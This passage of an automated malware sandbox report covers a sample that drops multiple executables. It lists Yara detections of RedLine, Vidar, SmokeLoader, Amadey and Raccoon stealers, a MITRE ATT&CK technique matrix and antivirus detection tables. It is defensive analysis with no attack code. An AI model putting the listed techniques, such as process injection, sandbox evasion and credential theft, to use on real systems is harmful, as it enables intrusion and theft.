Source: explorer.exe, 0000000C.00000000.322210842.0000000008778000.00000004.00000001.sdmp	Binary or memory string: Shell_TrayWndh

Source: C:\Users\user\AppData\Local\Temp\B4BD.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\B4BD.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4BD.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4BD.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\234F.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\234F.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\234F.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\234F.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\234F.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\234F.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\234F.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\234F.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\234F.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\234F.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\39F6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\39F6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\39F6.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4F44.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\4F44.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4F44.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4F44.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\39F6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\39F6.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\39F6.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\39F6.exe

Code function: 35_2_00410B13 cpuid

35_2_00410B13

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\CFE9H9mdWr.exe

Code function: 0_2_0042F990 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

0_2_0042F990

Source: C:\Users\user\AppData\Local\Temp\39F6.exe

Code function: 35_2_0041F061 _free,_free,_free,GetTimeZoneInformation,_free,

35_2_0041F061

Source: C:\Users\user\AppData\Local\Temp\39F6.exe

35_2_00401F20

Source: C:\Users\user\AppData\Local\Temp\2E6C.exe

Code function: 29_2_6CE065A0 RtlpGetDeviceFamilyInfoEnum,RtlInitUnicodeString,ZwQueryLicenseValue,RtlInitUnicodeString,ZwOpenKey,ZwClose,RtlGetDeviceFamilyInfoEnum,RtlInitUnicodeString,ZwOpenKey,ZwClose,RtlGetVersion,

29_2_6CE065A0

Stealing of Sensitive Information:

Yara detected RedLine Stealer

Show sources

Source: Yara match	File source: 34.0.dfsvc.exe.400000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 40.0.4F44.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 39.0.AddInUtil.exe.400000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 40.0.4F44.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.0.dfsvc.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 37.0.DataSvcUtil.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 40.0.4F44.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.0.dfsvc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 40.0.4F44.exe.400000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.0.dfsvc.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 39.0.AddInUtil.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 39.0.AddInUtil.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 40.0.4F44.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 37.0.DataSvcUtil.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 40.2.4F44.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 39.0.AddInUtil.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 37.0.DataSvcUtil.exe.400000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 37.0.DataSvcUtil.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000028.00000000.514503943.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000000.494537883.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000000.471569387.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000002.543712814.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000000.516850335.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000000.472237000.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000000.495400443.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000000.488797588.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000000.473649658.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000000.486835235.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000000.487989630.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000000.523576930.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000000.493522806.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000000.513777665.0000000000402000.00000040.00000001.sdmp, type: MEMORY

Yara detected Vidar

Show sources

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected SmokeLoader

Show sources

Source: Yara match	File source: 3.2.CFE9H9mdWr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.bsstvub.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.2E6C.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.1.bsstvub.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.1.12C6.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.2E6C.exe.2fb0e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.12C6.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.bsstvub.9615a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.3.2E6C.exe.2fc0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.1.CFE9H9mdWr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.CFE9H9mdWr.exe.9615a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.12C6.exe.2cb15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001D.00000003.443536415.0000000002FC0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.465800320.0000000002FC0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.401208082.00000000005B1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.466019596.0000000003001000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.401135304.0000000000570000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.343715666.00000000005A1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000000.331439665.0000000004E91000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.414180179.0000000000460000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.484679708.0000000002CE1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.484587747.0000000002CC0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.343625183.0000000000460000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.414253923.00000000004F1000.00000004.00020000.sdmp, type: MEMORY

Yara detected Amadey bot

Show sources

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected Raccoon Stealer

Show sources

Source: Yara match	File source: 36.3.69D3.exe.48a0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 36.3.69D3.exe.48a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000024.00000003.473154873.00000000048A0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 69D3.exe PID: 6156, type: MEMORYSTR

Remote Access Functionality:

Yara detected RedLine Stealer

Show sources

Source: Yara match	File source: 34.0.dfsvc.exe.400000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 40.0.4F44.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 39.0.AddInUtil.exe.400000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 40.0.4F44.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.0.dfsvc.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 37.0.DataSvcUtil.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 40.0.4F44.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.0.dfsvc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 40.0.4F44.exe.400000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.0.dfsvc.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 39.0.AddInUtil.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 39.0.AddInUtil.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 40.0.4F44.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 37.0.DataSvcUtil.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 40.2.4F44.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 39.0.AddInUtil.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 37.0.DataSvcUtil.exe.400000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 37.0.DataSvcUtil.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000028.00000000.514503943.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000000.494537883.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000000.471569387.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000002.543712814.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000000.516850335.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000000.472237000.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000000.495400443.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000000.488797588.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000000.473649658.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000000.486835235.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000000.487989630.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000000.523576930.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000000.493522806.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000000.513777665.0000000000402000.00000040.00000001.sdmp, type: MEMORY

Yara detected Vidar

Show sources

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected SmokeLoader

Show sources

Source: Yara match	File source: 3.2.CFE9H9mdWr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.bsstvub.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.2E6C.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.1.bsstvub.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.1.12C6.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.2E6C.exe.2fb0e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.12C6.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.bsstvub.9615a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.3.2E6C.exe.2fc0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.1.CFE9H9mdWr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.CFE9H9mdWr.exe.9615a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.12C6.exe.2cb15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001D.00000003.443536415.0000000002FC0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.465800320.0000000002FC0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.401208082.00000000005B1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.466019596.0000000003001000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.401135304.0000000000570000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.343715666.00000000005A1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000000.331439665.0000000004E91000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.414180179.0000000000460000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.484679708.0000000002CE1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.484587747.0000000002CC0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.343625183.0000000000460000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.414253923.00000000004F1000.00000004.00020000.sdmp, type: MEMORY

Yara detected Raccoon Stealer

Show sources

Source: Yara match	File source: 36.3.69D3.exe.48a0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 36.3.69D3.exe.48a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000024.00000003.473154873.00000000048A0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 69D3.exe PID: 6156, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Native API1	DLL Side-Loading11	DLL Side-Loading11	Disable or Modify Tools1	Input Capture1	System Time Discovery2	Remote Services	Archive Collected Data11	Exfiltration Over Other Network Medium	Ingress Tool Transfer14	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Shared Modules1	Registry Run Keys / Startup Folder1	Process Injection812	Deobfuscate/Decode Files or Information11	LSASS Memory	Account Discovery1	Remote Desktop Protocol	Input Capture1	Exfiltration Over Bluetooth	Encrypted Channel11	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	Exploitation for Client Execution1	Logon Script (Windows)	Registry Run Keys / Startup Folder1	Obfuscated Files or Information3	Security Account Manager	File and Directory Discovery2	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Non-Standard Port1	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Software Packing23	NTDS	System Information Discovery26	Distributed Component Object Model	Input Capture	Scheduled Transfer	Non-Application Layer Protocol4	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Timestomp1	LSA Secrets	Query Registry1	SSH	Keylogging	Data Transfer Size Limits	Application Layer Protocol25	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	DLL Side-Loading11	Cached Domain Credentials	Security Software Discovery441	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	File Deletion1	DCSync	Process Discovery2	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Masquerading11	Proc Filesystem	Virtualization/Sandbox Evasion131	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Virtualization/Sandbox Evasion131	/etc/passwd and /etc/shadow	Application Window Discovery1	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	Process Injection812	Network Sniffing	System Owner/User Discovery1	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact
Compromise Software Dependencies and Development Tools	Windows Command Shell	Cron	Cron	Hidden Files and Directories1	Input Capture	Remote System Discovery1	Replication Through Removable Media	Remote Data Staging	Exfiltration Over Physical Medium	Mail Protocols			Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
CFE9H9mdWr.exe	59%	Virustotal		Browse
CFE9H9mdWr.exe	23%	Metadefender		Browse
CFE9H9mdWr.exe	51%	ReversingLabs	Win32.Trojan.Krypter
CFE9H9mdWr.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\603c0340b4\sqtvvs.exe	100%	Avira	HEUR/AGEN.1138925
C:\Users\user\AppData\Local\Temp\39F6.exe	100%	Avira	HEUR/AGEN.1138925
C:\Users\user\AppData\Local\Temp\4F44.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\DC45.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\69D3.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\234F.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\D88A.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\603c0340b4\sqtvvs.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\DEC6.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\D210.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\39F6.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\B4BD.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\isstvub	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\wistvub	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\5AFD.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\bsstvub	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\12C6.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\2E6C.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1105.tmp	0%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\1105.tmp	2%	ReversingLabs
C:\Users\user\AppData\Local\Temp\12C6.exe	45%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\2E6C.exe	80%	ReversingLabs	Win32.Ransomware.StopCrypt
C:\Users\user\AppData\Local\Temp\4F44.exe	43%	ReversingLabs	ByteCode-MSIL.Trojan.Heracles
C:\Users\user\AppData\Local\Temp\5AFD.exe	57%	ReversingLabs	Win32.Trojan.Raccrypt
C:\Users\user\AppData\Local\Temp\B4BD.exe	39%	ReversingLabs	ByteCode-MSIL.Trojan.CrypterX
C:\Users\user\AppData\Local\Temp\DA7F.exe	14%	ReversingLabs	ByteCode-MSIL.Backdoor.Androm
C:\Users\user\AppData\Roaming\bsstvub	23%	Metadefender		Browse
C:\Users\user\AppData\Roaming\bsstvub	51%	ReversingLabs	Win32.Trojan.Krypter

Unpacked PE Files

Source	Detection	Scanner	Label	Download
38.0.39F6.exe.9f0000.3.unpack	100%	Avira	HEUR/AGEN.1138925	Download File
29.2.2E6C.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
35.0.39F6.exe.560000.16.unpack	100%	Avira	HEUR/AGEN.1138925	Download File
38.0.39F6.exe.9f0000.1.unpack	100%	Avira	HEUR/AGEN.1138925	Download File
40.0.4F44.exe.400000.7.unpack	100%	Avira	HEUR/AGEN.1141492	Download File
19.0.bsstvub.400000.6.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
19.1.bsstvub.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
34.0.dfsvc.exe.400000.2.unpack	100%	Avira	HEUR/AGEN.1141492	Download File
30.2.39F6.exe.860000.0.unpack	100%	Avira	HEUR/AGEN.1138925	Download File
3.0.CFE9H9mdWr.exe.400000.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
3.2.CFE9H9mdWr.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
34.0.dfsvc.exe.400000.3.unpack	100%	Avira	HEUR/AGEN.1141492	Download File
35.0.39F6.exe.400000.5.unpack	100%	Avira	TR/AD.Amadey.ezxiu	Download File
40.0.4F44.exe.400000.5.unpack	100%	Avira	HEUR/AGEN.1141492	Download File
39.0.AddInUtil.exe.400000.3.unpack	100%	Avira	HEUR/AGEN.1141492	Download File
19.2.bsstvub.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
35.2.39F6.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1143239	Download File
35.0.39F6.exe.560000.18.unpack	100%	Avira	HEUR/AGEN.1138925	Download File
40.0.4F44.exe.400000.8.unpack	100%	Avira	HEUR/AGEN.1141492	Download File
20.1.12C6.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
35.0.39F6.exe.560000.4.unpack	100%	Avira	HEUR/AGEN.1138925	Download File
17.2.bsstvub.9615a0.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
37.0.DataSvcUtil.exe.400000.1.unpack	100%	Avira	HEUR/AGEN.1141492	Download File
38.0.39F6.exe.9f0000.0.unpack	100%	Avira	HEUR/AGEN.1138925	Download File
40.0.4F44.exe.400000.6.unpack	100%	Avira	HEUR/AGEN.1141492	Download File
33.2.5AFD.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
35.0.39F6.exe.400000.17.unpack	100%	Avira	TR/AD.Amadey.ezxiu	Download File
30.0.39F6.exe.860000.0.unpack	100%	Avira	HEUR/AGEN.1138925	Download File
33.2.5AFD.exe.2cb0e50.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
34.0.dfsvc.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1141492	Download File
19.0.bsstvub.400000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
35.0.39F6.exe.560000.2.unpack	100%	Avira	HEUR/AGEN.1138925	Download File
35.0.39F6.exe.400000.11.unpack	100%	Avira	TR/AD.Amadey.ezxiu	Download File
19.0.bsstvub.400000.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
35.0.39F6.exe.560000.3.unpack	100%	Avira	HEUR/AGEN.1138925	Download File
38.2.39F6.exe.9f0000.0.unpack	100%	Avira	HEUR/AGEN.1138925	Download File
20.0.12C6.exe.400000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
30.0.39F6.exe.860000.1.unpack	100%	Avira	HEUR/AGEN.1138925	Download File
34.0.dfsvc.exe.400000.1.unpack	100%	Avira	HEUR/AGEN.1141492	Download File
20.0.12C6.exe.400000.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
35.0.39F6.exe.560000.10.unpack	100%	Avira	HEUR/AGEN.1138925	Download File
39.0.AddInUtil.exe.400000.1.unpack	100%	Avira	HEUR/AGEN.1141492	Download File
38.0.39F6.exe.9f0000.2.unpack	100%	Avira	HEUR/AGEN.1138925	Download File
35.2.39F6.exe.560000.1.unpack	100%	Avira	HEUR/AGEN.1138925	Download File
39.0.AddInUtil.exe.400000.2.unpack	100%	Avira	HEUR/AGEN.1141492	Download File
18.2.12C6.exe.2cb15a0.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
35.0.39F6.exe.400000.7.unpack	100%	Avira	TR/AD.Amadey.ezxiu	Download File
40.0.4F44.exe.400000.4.unpack	100%	Avira	HEUR/AGEN.1141492	Download File
33.3.5AFD.exe.2cc0000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
35.0.39F6.exe.560000.6.unpack	100%	Avira	HEUR/AGEN.1138925	Download File
20.2.12C6.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
35.0.39F6.exe.400000.15.unpack	100%	Avira	TR/AD.Amadey.ezxiu	Download File
35.0.39F6.exe.560000.0.unpack	100%	Avira	HEUR/AGEN.1138925	Download File
35.0.39F6.exe.560000.1.unpack	100%	Avira	HEUR/AGEN.1138925	Download File
35.0.39F6.exe.560000.12.unpack	100%	Avira	HEUR/AGEN.1138925	Download File
3.1.CFE9H9mdWr.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
20.0.12C6.exe.400000.6.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
0.2.CFE9H9mdWr.exe.9615a0.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
35.0.39F6.exe.560000.14.unpack	100%	Avira	HEUR/AGEN.1138925	Download File
